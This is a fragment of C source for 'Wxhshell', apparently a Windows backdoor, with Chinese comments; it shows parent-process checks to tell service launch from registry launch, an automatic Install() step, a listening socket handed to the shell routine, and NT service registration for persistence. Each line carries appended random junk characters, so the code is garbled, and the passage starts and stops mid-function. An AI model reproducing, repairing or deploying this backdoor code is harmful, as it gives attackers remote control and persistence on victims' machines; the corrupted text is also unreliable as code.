DWORD PebBaseAddress; Y26l,XIV
DWORD AffinityMask; `0|&T;7
DWORD BasePriority; L$Ar]O)
ULONG UniqueProcessId; J6D$ i+
ULONG InheritedFromUniqueProcessId; Ilb
|:x"L
} PROCESS_BASIC_INFORMATION; N06O.bji
agT[y/gb
PROCNTQSIP NtQueryInformationProcess; e~]e9-L>I
}yDq\5s
Q[
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MWh+h7k'
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u#k,G`
y4rJ-
HANDLE hProcess; arVf"3a
PROCESS_BASIC_INFORMATION pbi; JBAK*g
XYF~Q9~
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); VQMd[/
if(NULL == hInst ) return 0; |o=ST
6F/
OlK<
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jYID44$
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yc=#Jn?S
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q<[ke
}IkEyJsk
if (!NtQueryInformationProcess) return 0; {eN{Zh5"
FKnQwX.0
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #'J7Wy
if(!hProcess) return 0; SliQwm5
-G#@BtB2+
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (A fbS=[
'4lT*KN7\
CloseHandle(hProcess); wf<`J/7u
yPG\ &Bo
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )60f
if(hProcess==NULL) return 0; aDvO(C
IYg3ve`x
HMODULE hMod; Y_>-p(IH
char procName[255]; ~V"cLTj"
unsigned long cbNeeded; C|IQM4
ur,"K'w
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bTy)0ta>AF
<;0N@
CloseHandle(hProcess); ';|>`<
{^5<{j3e
if(strstr(procName,"services")) return 1; // 以服务启动
)k] !u
V3~a!k
return 0; // 注册表启动 8421-c6y>
} jI2gi1,a
^O Xr: P
// 主模块 JKi@Kw
int StartWxhshell(LPSTR lpCmdLine) ;4v}0N~.
{ P9mxY*K)%5
SOCKET wsl; K(KP3Q
BOOL val=TRUE; 5J\|gZQF
int port=0; ;@YF}%!+W
struct sockaddr_in door; xgqv2s>L
uQtk|)T E
if(wscfg.ws_autoins) Install(); <bXWkj
S]%U]
port=atoi(lpCmdLine); Dw/Gha/
;E? hz
if(port<=0) port=wscfg.ws_port; Vt)\[Tl~
2{]S_. zV
WSADATA data; b|8>eY
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,#jhKnk2e
+9
p`D
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 2|H91Y2
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9eN2)a/
door.sin_family = AF_INET; VO;UV$$
door.sin_addr.s_addr = inet_addr("127.0.0.1"); | ]!Ky[P
door.sin_port = htons(port); $x_52 j\j
,{ L;B
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f'`nx;@X
closesocket(wsl); Re,$<9V
return 1; s!;VUr\
} pg}+lYGP
.UhBvHH
if(listen(wsl,2) == INVALID_SOCKET) { U>_\
closesocket(wsl); ,dj*p,J
return 1; CVSsB:H6e
} s@)"IdSA(
Wxhshell(wsl); EfBVu
WSACleanup(); !k= 0X\5L
azDC'.3{p
return 0; BUA6(
n:^"[Le
} 5ih"Nds[H
!ga(L3vf
// 以NT服务方式启动 Z(k\J|&9C
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $,QpSK`9i
{ E4v_2Q
-w
DWORD status = 0; #u<oEDQ
DWORD specificError = 0xfffffff; 51ajE2+X&
U_}A{bFG
serviceStatus.dwServiceType = SERVICE_WIN32; |`Oa/\U
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Y9@dZw%2
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ij6Wz.*
serviceStatus.dwWin32ExitCode = 0; _]D#)-uv}C
serviceStatus.dwServiceSpecificExitCode = 0; ;4/dk_~p]
serviceStatus.dwCheckPoint = 0; D"x$^6`c}
serviceStatus.dwWaitHint = 0; F@K*T2uh
? __aVQ7
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d7_ g
u
if (hServiceStatusHandle==0) return; 0n<(*bfW
w^dueP7J
status = GetLastError(); $uFh$f
if (status!=NO_ERROR) ,y8I)+
{ <jRFN&"h}
serviceStatus.dwCurrentState = SERVICE_STOPPED; 6mF{ImbRbS
serviceStatus.dwCheckPoint = 0; {r].SrW9s9
serviceStatus.dwWaitHint = 0; `J=1&ae